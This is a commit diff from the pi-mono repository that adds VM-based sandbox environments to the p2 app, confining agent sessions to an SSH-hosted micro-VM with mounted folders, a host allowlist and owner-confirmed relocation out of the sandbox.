mirror of
https://github.com/badlogic/pi-mono.git
synced 2026-11-05 23:37:25 +00:00
feat(p2): Gondolin sandbox environments
A sandbox is a new env type (`type: "gondolin"`): a long-lived Gondolin micro-VM on an SSH environment, with listed host folders and an HTTP(S) host allowlist. The worker reaches it over SSH to the host, where p2's launcher (plugins/envs/sandbox: native, or Docker when the host's Node/QEMU are too old) runs pi-env's daemon inside the VM, so tools, workspace, terminals, uploads and MCP work unchanged. Names outside the allowlist are refused before the host resolves them. Conversations working in a sandbox cannot leave it: location tools, subagent spawn/configure, AgentLocations.move, the terminal tool, and one-shot agents (which now inherit their caller's own location) all keep them there; only the owner's Relocate moves a session out, after a confirmation. conversationConfinement() exposes it to plugins. Owner-only management in the Envs sheet: sandboxes listed under their host, host test reports sandbox support, create/edit/start/stop/restart/test, lock icons in the top bar and sidebar. Tests in test/p2/sandboxes.test.ts (real VM cases with P2_TEST_GONDOLIN=1) and ui-sandboxes.test.ts; docs in docs/remote-envs.md.
This commit is contained in:
parent
6d3e342b25
commit
2a32a605a9
51 changed files with 3240 additions and 322 deletions
|
|
@ -18,7 +18,8 @@ import { formats } from "@earendil-works/pi-schema/formats";
|
|||
import type { JsonValue } from "@p2/app/v1";
|
||||
import { record, SUBAGENT_TASK_ENTRY } from "@p2/app/v1";
|
||||
import { defineP2Tool, isTopLevel, originOf, type P2Tool } from "@p2/app/v1/worker";
|
||||
import { resolveChoice, Subagents } from "../subagents/contract.worker.ts";
|
||||
import { InheritedLocation, resolveChoice, Subagents } from "../subagents/contract.worker.ts";
|
||||
import { ownLocation } from "../subagents/tools.ts";
|
||||
|
||||
export const AGENT_TOOL = "agent";
|
||||
const ATTEMPTS = 3;
|
||||
|
|
@ -85,6 +86,8 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
|
|||
const listedOn = (await isTopLevel(api, api.conversationId, context))
|
||||
? ROOT_CONVERSATION_ID
|
||||
: api.conversationId;
|
||||
// The agent works where its caller does: a caller with its own location (a subagent's) passes it on.
|
||||
const inherited = await ownLocation(api, api.conversationId, context);
|
||||
const conversationId = await api.commit(async (tx) => {
|
||||
const run = await tx.doc(AgentRun, api.taskId);
|
||||
if (run.conversationId === undefined) {
|
||||
|
|
@ -97,6 +100,10 @@ export function createAgentExtension(models: Models, access: () => ReadonlyMap<s
|
|||
modelTools: { add: choice.loaded },
|
||||
instructions: `You are a one-shot subagent working for a script. Do the requested work. Your final answer is parsed by the script: it must be only a JSON value matching this JSON Schema, without prose or code fences:\n${JSON.stringify(args.schema)}`,
|
||||
});
|
||||
if (inherited) {
|
||||
(await tx.doc(InheritedLocation, child.id)).location = inherited;
|
||||
await configure(tx, child.id, { cwd: inherited.cwd });
|
||||
}
|
||||
run.conversationId = child.id;
|
||||
const registry = await tx.doc(Subagents, listedOn);
|
||||
registry.oneShots ??= {};
|
||||
|
|
|
|||
|
|
@ -36,6 +36,7 @@ import {
|
|||
keepSessions,
|
||||
keptSizes,
|
||||
knownMain,
|
||||
LockIcon,
|
||||
loadKept,
|
||||
locationLabel,
|
||||
MenuIcon,
|
||||
|
|
@ -103,6 +104,7 @@ import {
|
|||
} from "react";
|
||||
import { createPortal } from "react-dom";
|
||||
import { Drafts } from "../drafts/contract.ts";
|
||||
import { Envs } from "../envs/contract.ts";
|
||||
import { DirectoryPicker, directoryPickerLayer } from "../envs/contract.web.tsx";
|
||||
import { Models } from "../models/contract.ts";
|
||||
import type { ResourceSnapshot } from "../models/resources.ts";
|
||||
|
|
@ -552,6 +554,14 @@ function TopBar({
|
|||
const connected = useConnected();
|
||||
const nav = useNavigation();
|
||||
const route = useRoute();
|
||||
// Only the owner reads environments: guests see the location without the sandbox lock.
|
||||
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
|
||||
const sandboxed = envs?.find((env) => env.name === session?.env)?.config.type === "gondolin";
|
||||
const lock = sandboxed && (
|
||||
<span className="title-lock">
|
||||
<LockIcon size={11} />
|
||||
</span>
|
||||
);
|
||||
return (
|
||||
<header className="topbar">
|
||||
<button
|
||||
|
|
@ -587,8 +597,16 @@ function TopBar({
|
|||
type="button"
|
||||
className="title-cwd"
|
||||
onClick={() => openLayer(directoryPickerLayer(session.env ?? null, session.cwd))}
|
||||
{...(sandboxed ? { title: `Sandbox ${session.env}: tools run in its VM` } : {})}
|
||||
>
|
||||
{moving ? "Moving…" : locationLabel(session.env, session.cwd)}
|
||||
{moving ? (
|
||||
"Moving…"
|
||||
) : (
|
||||
<>
|
||||
{lock}
|
||||
{locationLabel(session.env, session.cwd)}
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
) : (
|
||||
<p>{locationLabel(session.env, session.cwd)}</p>
|
||||
|
|
|
|||
|
|
@ -23,8 +23,9 @@ export default defineFacet((host) => {
|
|||
if (input.env?.cwd === undefined) return undefined;
|
||||
const { env } = await locateConversation(harness, input.conversationId, context, input.read);
|
||||
if (!env) return input.env.cwd;
|
||||
const ssh = await environments.value.get("remote")?.host?.(env);
|
||||
return `${input.env.cwd}\nTools run on the remote environment "${env}" (SSH host ${ssh}), not on the machine running p2.`;
|
||||
const where =
|
||||
(await environments.value.get("remote")?.describe?.(env)) ?? `the remote environment "${env}"`;
|
||||
return `${input.env.cwd}\nTools run on ${where}, not on the machine running p2.`;
|
||||
}),
|
||||
],
|
||||
});
|
||||
|
|
|
|||
|
|
@ -130,6 +130,16 @@ export function DirectoryPicker({
|
|||
// biome-ignore lint/correctness/useExhaustiveDependencies: lists again when the folder or environment changes; load is recreated each render.
|
||||
useEffect(() => load(shown), [shown, env, service]);
|
||||
const moves = moving !== undefined && moving.env !== env;
|
||||
const sandboxHost = (name: string | null) => {
|
||||
const config = envs.find((entry) => entry.name === name)?.config;
|
||||
return config?.type === "gondolin" ? config.host : undefined;
|
||||
};
|
||||
const sandbox = sandboxHost(env) !== undefined;
|
||||
// Leaving a sandbox is confirmed: outside every sandbox its tools run unconfined, in another one they get its
|
||||
// folders and network access.
|
||||
const leaves = moves && sandboxHost(moving.env) !== undefined;
|
||||
const [leaving, setLeaving] = useState<string>();
|
||||
const target = listing ? listingKey(env, listing.path) : undefined;
|
||||
|
||||
return (
|
||||
<Sheet title="Working directory" onClose={onClose}>
|
||||
|
|
@ -144,11 +154,26 @@ export function DirectoryPicker({
|
|||
disabled={loading}
|
||||
>
|
||||
<option value="">This device</option>
|
||||
{envs.map((entry) => (
|
||||
<option key={entry.name} value={entry.name}>
|
||||
{entry.name} (remote)
|
||||
</option>
|
||||
))}
|
||||
{envs.map(
|
||||
(entry) =>
|
||||
entry.config.type === "ssh" && (
|
||||
<option key={entry.name} value={entry.name}>
|
||||
{entry.name} (remote)
|
||||
</option>
|
||||
),
|
||||
)}
|
||||
{envs.some((entry) => entry.config.type === "gondolin") && (
|
||||
<optgroup label="Sandboxes">
|
||||
{envs.map(
|
||||
(entry) =>
|
||||
entry.config.type === "gondolin" && (
|
||||
<option key={entry.name} value={entry.name}>
|
||||
{entry.name} · sandbox on {entry.config.host}
|
||||
</option>
|
||||
),
|
||||
)}
|
||||
</optgroup>
|
||||
)}
|
||||
</select>
|
||||
)}
|
||||
<form
|
||||
|
|
@ -168,16 +193,47 @@ export function DirectoryPicker({
|
|||
disabled={loading}
|
||||
/>
|
||||
</form>
|
||||
{listing && (
|
||||
<button
|
||||
type="button"
|
||||
className="button primary block directory-use"
|
||||
disabled={loading}
|
||||
onClick={() => onChange(env, listing.path)}
|
||||
>
|
||||
{moves ? "Move session to" : "Use"} {locationLabel(env, listing.path)}
|
||||
</button>
|
||||
{sandbox && (
|
||||
<p className="muted small directory-note">
|
||||
Tools of this session run in the {env} VM and can't leave it. Only you can move the session out.
|
||||
</p>
|
||||
)}
|
||||
{listing &&
|
||||
(leaves && leaving === target ? (
|
||||
<div className="notice env-test directory-leave" role="alert">
|
||||
<p>
|
||||
<strong>Leave sandbox {moving?.env}?</strong>
|
||||
</p>
|
||||
<p>
|
||||
{sandbox
|
||||
? `Moving to ${locationLabel(env, listing.path)} gives this session's tools sandbox ${env}'s folders and allowed hosts instead.`
|
||||
: `Moving to ${locationLabel(env, listing.path)} lets this session's tools run directly on ${env ?? "this device"}, with its full network access and files.`}
|
||||
</p>
|
||||
<p className="muted small">Files written in the sandbox stay in its folders.</p>
|
||||
<div className="inline-form">
|
||||
<button
|
||||
type="button"
|
||||
className="button danger"
|
||||
disabled={loading}
|
||||
onClick={() => onChange(env, listing.path)}
|
||||
>
|
||||
Move out
|
||||
</button>
|
||||
<button type="button" className="button" onClick={() => setLeaving(undefined)}>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<button
|
||||
type="button"
|
||||
className="button primary block directory-use"
|
||||
disabled={loading}
|
||||
onClick={() => (leaves ? setLeaving(target) : onChange(env, listing.path))}
|
||||
>
|
||||
{moves ? "Move session to" : "Use"} {locationLabel(env, listing.path)}
|
||||
</button>
|
||||
))}
|
||||
{moves && (
|
||||
<p className="muted small directory-note">
|
||||
Tools will run {env === null ? "on this device" : `on ${env}`}. The history stays; files are not
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -1,10 +1,19 @@
|
|||
import { join } from "node:path";
|
||||
import { compile } from "@earendil-works/pi-schema";
|
||||
import { envRevision, LockedFile, optionalText, stripBom, stripJsonComments } from "@p2/app/v1/node";
|
||||
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
|
||||
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig, type GondolinEnvConfig } from "./schema.ts";
|
||||
|
||||
export { envRevision } from "@p2/app/v1/node";
|
||||
export { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
|
||||
export {
|
||||
ENV_NAME,
|
||||
type EnvConfig,
|
||||
EnvConfigSchema,
|
||||
type EnvsConfig,
|
||||
type GondolinEnvConfig,
|
||||
isSandbox,
|
||||
type SandboxMount,
|
||||
type SshEnvConfig,
|
||||
} from "./schema.ts";
|
||||
|
||||
const validator = compile(EnvConfigSchema);
|
||||
|
||||
|
|
@ -17,15 +26,74 @@ function sshField(value: string | undefined): boolean {
|
|||
return value === undefined || (!value.startsWith("-") && !/\s/.test(value) && !hasControl(value));
|
||||
}
|
||||
|
||||
/** Paths p2 uses in a sandbox: where pi-env's daemon is copied, where Gondolin mounts the folders before binding. */
|
||||
const RESERVED = ["/opt/pi-env", "/.p2-vfs"];
|
||||
|
||||
/** A path inside a sandbox: absolute, normalized, not the root, without control characters. */
|
||||
function guestPath(path: string): boolean {
|
||||
return (
|
||||
path.startsWith("/") &&
|
||||
path !== "/" &&
|
||||
!hasControl(path) &&
|
||||
path
|
||||
.split("/")
|
||||
.slice(1)
|
||||
.every((part) => part !== "" && part !== "." && part !== "..")
|
||||
);
|
||||
}
|
||||
|
||||
/** One configuration on its own (a sandbox's host is checked against the others by `parseEnvs`). */
|
||||
export function validateEnv(value: unknown): EnvConfig {
|
||||
if (!validator.check(value)) throw new Error("Invalid environment configuration");
|
||||
const config = structuredClone(value) as EnvConfig;
|
||||
if (config.type === "gondolin") {
|
||||
if (!ENV_NAME.test(config.host)) throw new Error("Invalid host environment");
|
||||
if (config.image !== undefined && !/^[A-Za-z0-9][A-Za-z0-9._:/@-]*$/.test(config.image))
|
||||
throw new Error("Invalid image");
|
||||
const guests = new Set<string>();
|
||||
for (const mount of config.mounts ?? []) {
|
||||
const host = mount.host === "~" || mount.host.startsWith("~/") || mount.host.startsWith("/");
|
||||
if (!host || hasControl(mount.host)) throw new Error(`Invalid folder: ${mount.host}`);
|
||||
if (!guestPath(mount.guest)) throw new Error(`Invalid path in the sandbox: ${mount.guest}`);
|
||||
if (
|
||||
RESERVED.some(
|
||||
(reserved) =>
|
||||
mount.guest === reserved ||
|
||||
reserved.startsWith(`${mount.guest}/`) ||
|
||||
mount.guest.startsWith(`${reserved}/`),
|
||||
)
|
||||
)
|
||||
throw new Error(`${mount.guest} is used by p2 in the sandbox (${RESERVED.join(", ")})`);
|
||||
// The launcher refuses these too, after resolving the path on the host; this is the form's early answer.
|
||||
if (!mount.readonly && (mount.host === "~" || mount.host === "/" || /^~\/\.pi(\/|$)/.test(mount.host)))
|
||||
throw new Error(`A writable folder must not contain or be inside ~/.pi: ${mount.host}`);
|
||||
if (guests.has(mount.guest)) throw new Error(`Two folders at ${mount.guest}`);
|
||||
guests.add(mount.guest);
|
||||
}
|
||||
for (const pattern of config.allowHosts ?? [])
|
||||
if (!/^[A-Za-z0-9*][A-Za-z0-9.*-]*$/.test(pattern)) throw new Error(`Invalid allowed host: ${pattern}`);
|
||||
return config;
|
||||
}
|
||||
if (!sshField(config.host) || !sshField(config.user)) throw new Error("Invalid host or user");
|
||||
if (hasControl(config.identityFile ?? "") || config.identityFile?.includes('"'))
|
||||
throw new Error("Invalid identity file");
|
||||
return config;
|
||||
}
|
||||
|
||||
/** Every sandbox runs on a configured SSH environment. */
|
||||
function checkHosts(envs: EnvsConfig): void {
|
||||
for (const [name, config] of Object.entries(envs))
|
||||
if (config.type === "gondolin" && envs[config.host]?.type !== "ssh")
|
||||
throw new Error(`Sandbox ${name} runs on "${config.host}", which is not an SSH environment`);
|
||||
}
|
||||
|
||||
/** The sandboxes running on SSH environment `host`. */
|
||||
export function sandboxesOn(envs: EnvsConfig, host: string): [string, GondolinEnvConfig][] {
|
||||
return Object.entries(envs).flatMap(([name, config]): [string, GondolinEnvConfig][] =>
|
||||
config.type === "gondolin" && config.host === host ? [[name, config]] : [],
|
||||
);
|
||||
}
|
||||
|
||||
export function parseEnvs(content: string): EnvsConfig {
|
||||
let value: unknown;
|
||||
try {
|
||||
|
|
@ -39,6 +107,7 @@ export function parseEnvs(content: string): EnvsConfig {
|
|||
if (!ENV_NAME.test(name)) throw new Error(`Invalid environment name: ${name}`);
|
||||
envs[name] = validateEnv(config);
|
||||
}
|
||||
checkHosts(envs);
|
||||
return envs;
|
||||
}
|
||||
|
||||
|
|
@ -58,8 +127,12 @@ export async function saveEnv(directory: string, name: string, config: EnvConfig
|
|||
try {
|
||||
await file.withLockAsync(async (current) => {
|
||||
const envs = current === undefined ? {} : parseEnvs(current);
|
||||
if (value === undefined) delete envs[name];
|
||||
else envs[name] = value;
|
||||
if (value === undefined) {
|
||||
const on = sandboxesOn(envs, name).map(([sandbox]) => sandbox);
|
||||
if (on.length) throw new Error(`Sandboxes run on "${name}": ${on.join(", ")}`);
|
||||
delete envs[name];
|
||||
} else envs[name] = value;
|
||||
checkHosts(envs);
|
||||
return { result: undefined, next: `${JSON.stringify(envs, null, 2)}\n` };
|
||||
});
|
||||
} finally {
|
||||
|
|
|
|||
12
apps/p2/plugins/envs/connection-revision.ts
Normal file
12
apps/p2/plugins/envs/connection-revision.ts
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// The revision a connection to an environment was opened for: its own configuration's, and for a sandbox also its
|
||||
// host's (the connection goes through the host), so editing either starts a new connection.
|
||||
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig, EnvsConfig } from "./schema.ts";
|
||||
|
||||
/** The connection revision of an environment configured as `config`, under `configs` (where a sandbox finds its host). */
|
||||
export function connectionRevision(configs: EnvsConfig, config: EnvConfig): string {
|
||||
if (config.type === "ssh") return envRevision(config);
|
||||
const host = Object.hasOwn(configs, config.host) ? configs[config.host] : undefined;
|
||||
return `${envRevision(config)}+${host === undefined ? "" : envRevision(host)}`;
|
||||
}
|
||||
|
|
@ -1,8 +1,25 @@
|
|||
import { arr, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { arr, bool, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { DirectoryListingSchema, defineRegistry, literal, local, method, record, remote, serverHost } from "@p2/app/v1";
|
||||
import type { EnvManager } from "./manager.ts";
|
||||
import { EnvConfigSchema } from "./schema.ts";
|
||||
|
||||
/** Whether an SSH env can host sandboxes: natively, through Docker, or not (`detail` says why or how). */
|
||||
export const SandboxSupportSchema = obj({
|
||||
runtime: union([literal("native"), literal("docker"), literal("none")]),
|
||||
detail: str(),
|
||||
});
|
||||
export type SandboxSupport = Static<typeof SandboxSupportSchema>;
|
||||
|
||||
/**
|
||||
* A sandbox's VM: stopped, or running since `startedAt`; `current` is false while it runs an older configuration
|
||||
* (changes apply when it restarts).
|
||||
*/
|
||||
export const SandboxStatusSchema = union([
|
||||
obj({ state: literal("stopped") }),
|
||||
obj({ state: literal("running"), startedAt: num(), cpus: num(), memoryMb: num(), current: bool() }),
|
||||
]);
|
||||
export type SandboxStatus = Static<typeof SandboxStatusSchema>;
|
||||
|
||||
export const EnvTestSchema = union([
|
||||
obj({
|
||||
ok: literal(true),
|
||||
|
|
@ -14,6 +31,8 @@ export const EnvTestSchema = union([
|
|||
latencyMs: num(),
|
||||
watchMode: union([literal("native"), literal("polling")]),
|
||||
warnings: arr(str()),
|
||||
/** SSH envs: whether the host can run sandboxes. */
|
||||
sandboxes: opt(SandboxSupportSchema),
|
||||
}),
|
||||
obj({
|
||||
ok: literal(false),
|
||||
|
|
@ -81,6 +100,12 @@ export const Envs = remote("p2.envs", {
|
|||
uploadKey: method(obj({ name: str(), key: str({ maxLength: 16384 }) }), Key),
|
||||
publicKey: method(Name, union([str(), nul()])),
|
||||
listDirectory: method(obj({ env: opt(str()), path: str() }), DirectoryListingSchema),
|
||||
/** A sandbox's VM state, read from its host. */
|
||||
sandboxStatus: method(Name, SandboxStatusSchema),
|
||||
/** Starts a sandbox's VM (with its current configuration) unless it runs. */
|
||||
sandboxStart: method(Name, SandboxStatusSchema),
|
||||
/** Stops a sandbox's VM; conversations working there reconnect and start it again at their next tool call. */
|
||||
sandboxStop: method(Name, SandboxStatusSchema),
|
||||
},
|
||||
},
|
||||
},
|
||||
|
|
|
|||
|
|
@ -8,18 +8,33 @@ import {
|
|||
acceptHostKey,
|
||||
type Connection,
|
||||
connectSsh,
|
||||
detectPlatform,
|
||||
forgetHostKey,
|
||||
HostKeyChangedError,
|
||||
HostKeyUnknownError,
|
||||
RemoteExecutionEnv,
|
||||
type RemotePlatform,
|
||||
type SshTarget,
|
||||
scanHostKey,
|
||||
sshConnection,
|
||||
} from "@earendil-works/pi-env";
|
||||
import { compile } from "@earendil-works/pi-schema";
|
||||
import { BACKGROUND_CONTEXT } from "@p2/app/v1";
|
||||
import { remotePaths, value } from "@p2/app/v1/node";
|
||||
import { ENV_NAME, type EnvConfig, envId, envRevision, loadEnvs, saveEnv } from "./config.ts";
|
||||
import type { DirectoryListing, EnvSummary, EnvTest } from "./contract.ts";
|
||||
import { type RemoteSession, remoteSession, sshOptions } from "./remote-env.ts";
|
||||
import {
|
||||
ENV_NAME,
|
||||
type EnvConfig,
|
||||
envId,
|
||||
envRevision,
|
||||
type GondolinEnvConfig,
|
||||
loadEnvs,
|
||||
type SshEnvConfig,
|
||||
saveEnv,
|
||||
} from "./config.ts";
|
||||
import { connectionRevision } from "./connection-revision.ts";
|
||||
import type { DirectoryListing, EnvSummary, EnvTest, SandboxStatus, SandboxSupport } from "./contract.ts";
|
||||
import { envConnection, type RemoteSession, remoteSession, sandboxHost, sshOptions } from "./remote-env.ts";
|
||||
import { launcherCommand, sandboxArgument, sandboxKey, sandboxRevision } from "./sandbox-host.ts";
|
||||
import { LauncherCheckSchema, LauncherStatusSchema } from "./sandbox-schema.ts";
|
||||
|
||||
const errorMessage = (error: unknown): string => (error instanceof Error ? error.message : String(error));
|
||||
|
||||
|
|
@ -33,6 +48,8 @@ const LISTING_LIMIT = 1000;
|
|||
const MAX_KEY_BYTES = 16 * 1024;
|
||||
|
||||
const run = promisify(execFile);
|
||||
const checkReport = compile(LauncherCheckSchema);
|
||||
const statusReport = compile(LauncherStatusSchema);
|
||||
|
||||
type Browser = { revision: string; session: RemoteSession; timer?: ReturnType<typeof setTimeout> };
|
||||
|
||||
|
|
@ -44,16 +61,20 @@ export class EnvManager {
|
|||
private readonly browsers = new Map<string, Browser>();
|
||||
|
||||
private readonly session: (name: string, config: EnvConfig) => RemoteSession;
|
||||
/** The sandbox launcher's source directory (this plugin's sandbox/). */
|
||||
private readonly launcher: string;
|
||||
|
||||
/** `session` replaces SSH for tests: the environment that browses an env's directories. */
|
||||
constructor(
|
||||
directory: string,
|
||||
uses: (name: string) => Promise<number>,
|
||||
launcher: string,
|
||||
session: (name: string, config: EnvConfig) => RemoteSession = (name, config) =>
|
||||
remoteSession(directory, name, config, "/"),
|
||||
remoteSession(directory, name, config, "/", { launcher }),
|
||||
) {
|
||||
this.directory = directory;
|
||||
this.uses = uses;
|
||||
this.launcher = launcher;
|
||||
this.session = session;
|
||||
}
|
||||
|
||||
|
|
@ -64,12 +85,19 @@ export class EnvManager {
|
|||
return config;
|
||||
}
|
||||
|
||||
/** An SSH env's configuration; sandboxes have no host keys or SSH keys of their own. */
|
||||
async sshConfig(name: string): Promise<SshEnvConfig> {
|
||||
const config = await this.config(name);
|
||||
if (config.type !== "ssh") throw new Error(`"${name}" is a sandbox; manage its host's SSH settings instead`);
|
||||
return config;
|
||||
}
|
||||
|
||||
/**
|
||||
* A pi-env connection to env `name` configured as `config`, over SSH with p2's key and known hosts, deploying the
|
||||
* daemon pi-env ships. It starts at its first request; the caller closes it.
|
||||
* A pi-env connection to env `name` configured as `config` (a sandbox: through its host), with p2's key and known
|
||||
* hosts, deploying the daemon pi-env ships. It starts at its first request; the caller closes it.
|
||||
*/
|
||||
connection(name: string, config: EnvConfig): Connection {
|
||||
return sshConnection(sshOptions(this.directory, name, config)).connection;
|
||||
return envConnection(this.directory, name, config, { launcher: this.launcher }).connection;
|
||||
}
|
||||
|
||||
async list(): Promise<EnvSummary[]> {
|
||||
|
|
@ -84,15 +112,36 @@ export class EnvManager {
|
|||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other changes of a sandbox apply when its VM restarts; moving it to another host stops the VM on the old one first
|
||||
* (nothing could reach it afterwards), refusing the change when that fails.
|
||||
*/
|
||||
async save(name: string, config: EnvConfig): Promise<void> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const previous = Object.hasOwn(configs, name) ? configs[name] : undefined;
|
||||
if (previous?.type === "gondolin" && (config.type !== "gondolin" || config.host !== previous.host))
|
||||
await this.sandboxStop(name).catch((error: unknown) => {
|
||||
throw new Error(
|
||||
`Could not stop sandbox ${name}'s VM on "${previous.host}", so it was not moved: ${errorMessage(error)}`,
|
||||
);
|
||||
});
|
||||
await saveEnv(this.directory, name, config);
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
/** Refused while any session, archived or not, references the env: sessions never fall back to local tools. */
|
||||
/**
|
||||
* Refused while any session, archived or not, references the env: sessions never fall back to local tools. A
|
||||
* sandbox's VM is stopped first (nothing could stop it once its configuration is gone); deleting is refused when that
|
||||
* fails.
|
||||
*/
|
||||
async delete(name: string): Promise<void> {
|
||||
const uses = await this.uses(name);
|
||||
if (uses > 0) throw new Error(`${uses} session${uses === 1 ? "" : "s"} still use "${name}"`);
|
||||
const configs = await loadEnvs(this.directory);
|
||||
if (Object.hasOwn(configs, name) && configs[name]?.type === "gondolin")
|
||||
await this.sandboxStop(name).catch((error: unknown) => {
|
||||
throw new Error(`Could not stop sandbox ${name}'s VM, so it was not deleted: ${errorMessage(error)}`);
|
||||
});
|
||||
await saveEnv(this.directory, name, undefined);
|
||||
this.release(name);
|
||||
// A key p2 generated or stored for this env goes with it.
|
||||
|
|
@ -119,7 +168,8 @@ export class EnvManager {
|
|||
private async adoptKey(name: string, path: string): Promise<void> {
|
||||
const configs = await loadEnvs(this.directory);
|
||||
const config = Object.hasOwn(configs, name) ? configs[name] : undefined;
|
||||
if (config && config.identityFile !== path) await this.save(name, { ...config, identityFile: path });
|
||||
if (config?.type === "ssh" && config.identityFile !== path)
|
||||
await this.save(name, { ...config, identityFile: path });
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -169,36 +219,70 @@ export class EnvManager {
|
|||
}
|
||||
}
|
||||
|
||||
/** Connect as a session would (detect, deploy, start), then measure what the Envs panel shows. */
|
||||
/**
|
||||
* Connect as a session would (detect, deploy, start; a sandbox: start its VM), then measure what the Envs panel
|
||||
* shows. An SSH env's test also reports whether it can host sandboxes.
|
||||
*/
|
||||
async test(name: string): Promise<EnvTest> {
|
||||
const config = await this.config(name);
|
||||
const key = `${name}@${envRevision(config)}`;
|
||||
const result = config.type === "ssh" ? await this.testSsh(name, config) : await this.testSandbox(name, config);
|
||||
this.tests.set(key, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/** Measure a started connection: its home, round trip and watch mode. */
|
||||
private async measure(
|
||||
name: string,
|
||||
config: EnvConfig,
|
||||
connection: Connection,
|
||||
remote: { platform: string; arch: string },
|
||||
warnings: string[],
|
||||
): Promise<EnvTest> {
|
||||
const info = await connection.info();
|
||||
const env = new RemoteExecutionEnv({ connection, id: envId(name, config), cwd: info.home });
|
||||
const started = performance.now();
|
||||
value(await env.fileInfo(info.home, context));
|
||||
const latencyMs = Math.round(performance.now() - started);
|
||||
const watcher = value(await env.watch([{ path: info.home }], () => {}, context));
|
||||
const watchMode = watcher.mode;
|
||||
await watcher.stop(context);
|
||||
return {
|
||||
ok: true,
|
||||
testedAt: Date.now(),
|
||||
platform: remote.platform,
|
||||
arch: remote.arch,
|
||||
home: info.home,
|
||||
version: info.version,
|
||||
latencyMs,
|
||||
watchMode,
|
||||
warnings,
|
||||
};
|
||||
}
|
||||
|
||||
private async testSandbox(name: string, config: GondolinEnvConfig): Promise<EnvTest> {
|
||||
const { connection } = envConnection(this.directory, name, config, {
|
||||
launcher: this.launcher,
|
||||
onLog: () => {},
|
||||
});
|
||||
try {
|
||||
const info = await connection.info();
|
||||
return await this.measure(name, config, connection, { platform: "linux", arch: info.arch }, []);
|
||||
} catch (error) {
|
||||
return { ok: false, testedAt: Date.now(), error: errorMessage(error) };
|
||||
} finally {
|
||||
connection.close();
|
||||
}
|
||||
}
|
||||
|
||||
private async testSsh(name: string, config: SshEnvConfig): Promise<EnvTest> {
|
||||
const options = sshOptions(this.directory, name, config);
|
||||
const warnings: string[] = [];
|
||||
let result: EnvTest;
|
||||
try {
|
||||
const { connection, remote } = await connectSsh({ ...options, onLog: () => {} });
|
||||
try {
|
||||
const info = await connection.info();
|
||||
const env = new RemoteExecutionEnv({ connection, id: envId(name, config), cwd: info.home });
|
||||
const started = performance.now();
|
||||
value(await env.fileInfo(info.home, context));
|
||||
const latencyMs = Math.round(performance.now() - started);
|
||||
const watcher = value(await env.watch([{ path: info.home }], () => {}, context));
|
||||
const watchMode = watcher.mode;
|
||||
await watcher.stop(context);
|
||||
warnings.push(...remote.warnings);
|
||||
result = {
|
||||
ok: true,
|
||||
testedAt: Date.now(),
|
||||
platform: remote.platform,
|
||||
arch: remote.arch,
|
||||
home: info.home,
|
||||
version: info.version,
|
||||
latencyMs,
|
||||
watchMode,
|
||||
warnings,
|
||||
};
|
||||
result = await this.measure(name, config, connection, remote, [...remote.warnings]);
|
||||
if (result.ok) result.sandboxes = await sandboxSupport(options, remote, this.launcher);
|
||||
} finally {
|
||||
connection.close();
|
||||
}
|
||||
|
|
@ -214,24 +298,70 @@ export class EnvManager {
|
|||
};
|
||||
}
|
||||
}
|
||||
this.tests.set(key, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
/** The host of sandbox `name` and the system it runs (Linux, or the error saying otherwise). */
|
||||
private async sandboxTarget(
|
||||
name: string,
|
||||
): Promise<{ config: GondolinEnvConfig; target: SshTarget; remote: RemotePlatform }> {
|
||||
const config = await this.config(name);
|
||||
if (config.type !== "gondolin") throw new Error(`"${name}" is not a sandbox`);
|
||||
const target = await sandboxHost(this.directory, name, config.host);
|
||||
const remote = await detectPlatform(target);
|
||||
if (remote.platform !== "linux")
|
||||
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${remote.platform}`);
|
||||
return { config, target, remote };
|
||||
}
|
||||
|
||||
/** Run a launcher command for sandbox `name` on its host and read the VM's state from its answer. */
|
||||
private async sandboxCommand(name: string, command: "status" | "start" | "stop"): Promise<SandboxStatus> {
|
||||
const { config, target, remote } = await this.sandboxTarget(name);
|
||||
const key = sandboxKey(this.directory, name);
|
||||
const args = command === "start" ? [command, key, sandboxArgument(config)] : [command, key];
|
||||
const report = await launcherCommand(target, remote, this.launcher, args);
|
||||
// The host's answer is wire input.
|
||||
if (!statusReport.check(report)) throw new Error("Unexpected answer from the sandbox launcher");
|
||||
if (report.state === "stopped") return { state: "stopped" };
|
||||
return {
|
||||
state: "running",
|
||||
startedAt: report.startedAt,
|
||||
cpus: report.cpus,
|
||||
memoryMb: report.memoryMb,
|
||||
current: report.revision === sandboxRevision(config),
|
||||
};
|
||||
}
|
||||
|
||||
sandboxStatus(name: string): Promise<SandboxStatus> {
|
||||
return this.sandboxCommand(name, "status");
|
||||
}
|
||||
|
||||
async sandboxStart(name: string): Promise<SandboxStatus> {
|
||||
return this.sandboxCommand(name, "start");
|
||||
}
|
||||
|
||||
/** Stops the VM; the browsing connection goes with it. */
|
||||
async sandboxStop(name: string): Promise<SandboxStatus> {
|
||||
this.release(name);
|
||||
return this.sandboxCommand(name, "stop");
|
||||
}
|
||||
|
||||
async acceptHostKey(name: string, lines: readonly string[]): Promise<void> {
|
||||
await acceptHostKey(sshOptions(this.directory, name, await this.config(name)), lines);
|
||||
await acceptHostKey(sshOptions(this.directory, name, await this.sshConfig(name)), lines);
|
||||
this.release(name);
|
||||
}
|
||||
|
||||
async forgetHostKey(name: string): Promise<void> {
|
||||
await forgetHostKey(sshOptions(this.directory, name, await this.config(name)));
|
||||
